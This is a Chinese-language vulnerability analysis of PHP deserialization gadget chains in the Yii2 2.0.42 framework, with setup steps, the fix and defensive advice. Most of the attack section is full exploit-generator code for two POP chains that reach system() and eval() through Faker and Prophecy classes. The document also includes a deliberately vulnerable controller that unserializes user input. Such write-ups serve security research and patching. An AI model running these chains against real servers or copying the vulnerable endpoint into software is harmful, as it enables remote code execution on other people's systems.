Yii2.0.42反序列化分析(一)
字数 1226 2025-08-09 15:23:13
Yii2.0.42反序列化漏洞分析与利用
环境搭建
- 使用Composer创建项目:
composer create-project --prefer-dist yiisoft/yii2-app-basic yii2
- 反序列化入口文件示例代码:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class AxinController extends \yii\web\Controller {
public function actionDeser($data) {
return unserialize(base64_decode($data));
}
}
漏洞背景
- Yii2.0.38版本之前存在多条反序列化利用链
- 2.0.42版本中,
vendor/codeception/codeception/ext/RunProcess.php类未添加__wakeup魔术方法修补 - 2.0.43版本已修复该漏洞
利用链分析
POP1利用链
链式调用流程:
RunProcess::__destruct()->stopProcess()array_reverse()处理$this->processes数组- 触发
ValidGenerator::__call() - 通过
DefaultGenerator实现RCE
关键类分析:
vendor/codeception/codeception/ext/RunProcess.php:
class RunProcess {
private $processes;
// 反序列化入口点
}
vendor/fakerphp/faker/src/Faker/ValidGenerator.php:
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
// __call魔术方法中的关键代码:
do {
$res = call_user_func_array(array($this->generator, $method), $args);
} while (++$this->retries < $this->maxRetries && !call_user_func($this->validator, $res));
}
vendor/fakerphp/faker/src/Faker/DefaultGenerator.php:
class DefaultGenerator {
protected $default;
public function __call($method, $attributes) {
return $this->default; // 完全可控
}
}
EXP构造:
<?php
namespace Faker;
class DefaultGenerator {
protected $default;
function __construct() {
$this->default = 'calc.exe';
}
}
class ValidGenerator {
protected $generator;
protected $validator;
protected $maxRetries;
function __construct() {
$this->generator = new DefaultGenerator();
$this->maxRetries = '10';
$this->validator = 'system';
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess {
private $processes;
function __construct() {
$this->processes = [new ValidGenerator()];
}
}
echo base64_encode(serialize(new RunProcess()));
POP2利用链
链式调用流程:
RunProcess::__destruct()->stopProcess()- 触发
ObjectProphecy::__call() - 调用
reveal()方法 - 通过
LazyDouble和Doubler类进行链式调用 - 最终在
ClassCreator中实现代码执行
关键类分析:
vendor/phpspec/prophecy/src/Prophecy/Prophecy/ObjectProphecy.php:
class ObjectProphecy {
private $lazyDouble;
private $revealer;
public function __call($method, $arguments) {
// 关键调用点
return $this->revealer->reveal();
}
}
vendor/phpspec/prophecy/src/Prophecy/Doubler/LazyDouble.php:
class LazyDouble {
private $doubler;
private $argument;
private $class;
private $interfaces;
public function getInstance() {
// 关键调用点
return $this->doubler->double($this->class, $this->interfaces, $this->argument);
}
}
vendor/phpspec/prophecy/src/Prophecy/Doubler/Doubler.php:
class Doubler {
private $mirror;
private $creator;
private $namer;
public function double(\ReflectionClass $class = null, array $interfaces, array $arguments = null) {
// 关键调用点
$classname = $this->createDoubleClass($class, $interfaces);
}
}
vendor/phpspec/prophecy/src/Prophecy/Doubler/Generator/ClassCreator.php:
class ClassCreator {
private $generator;
public function create($classname, Node\ClassNode $class) {
// 代码执行点
eval($this->generator->generate($classname, $class));
}
}
EXP构造:
<?php
namespace Codeception\Extension;
use Prophecy\Prophecy\ObjectProphecy;
class RunProcess {
private $processes;
function __construct() {
$a = new ObjectProphecy('1');
$this->processes[] = new ObjectProphecy($a);
}
}
namespace Prophecy\Prophecy;
use Prophecy\Doubler\LazyDouble;
class ObjectProphecy {
private $lazyDouble;
private $revealer;
function __construct($a) {
$this->revealer = $a;
$this->lazyDouble = new LazyDouble();
}
}
namespace Prophecy\Doubler;
class LazyDouble {
private $doubler;
private $argument;
private $class;
private $interfaces;
function __construct() {
$this->doubler = new Doubler();
$this->class = new \ReflectionClass('Exception');
$this->argument = array('joker' => 'joker');
$this->interfaces[] = new \ReflectionClass('Exception');
}
}
namespace Prophecy\Doubler\Generator\Node;
class ClassNode {}
namespace Prophecy\Doubler;
use Prophecy\Doubler\Generator\Node\ClassNode;
use Faker\DefaultGenerator;
use Prophecy\Doubler\Generator\ClassCreator;
class Doubler {
private $mirror;
private $creator;
private $namer;
function __construct() {
$this->namer = new DefaultGenerator('joker');
$this->mirror = new DefaultGenerator(new ClassNode());
$this->creator = new ClassCreator();
}
}
namespace Faker;
class DefaultGenerator {
protected $default;
function __construct($default) {
$this->default = $default;
}
}
namespace Prophecy\Doubler\Generator;
use Faker\DefaultGenerator;
class ClassCreator {
private $generator;
function __construct() {
$this->generator = new DefaultGenerator('eval(phpinfo());');
}
}
echo base64_encode(serialize(new RunProcess()));
漏洞修复
- Yii2.0.43版本通过在相关类中添加
__wakeup魔术方法修复了该漏洞 - 修复方式示例:
public function __wakeup() {
throw new \Exception("Serialization is not allowed");
}
总结
- 该漏洞主要利用Yii框架依赖的第三方组件中的反序列化问题
- 两条利用链展示了不同的利用方式,POP2更为复杂
- 漏洞利用的关键在于找到未受保护的
__destruct或__wakeup入口点 - 通过精心构造的对象属性链实现任意代码执行
防御建议
- 及时更新框架和依赖组件到最新版本
- 避免直接反序列化用户输入
- 实现自定义的序列化/反序列化逻辑时进行严格校验
- 使用PHP的
allowed_classes选项限制反序列化的类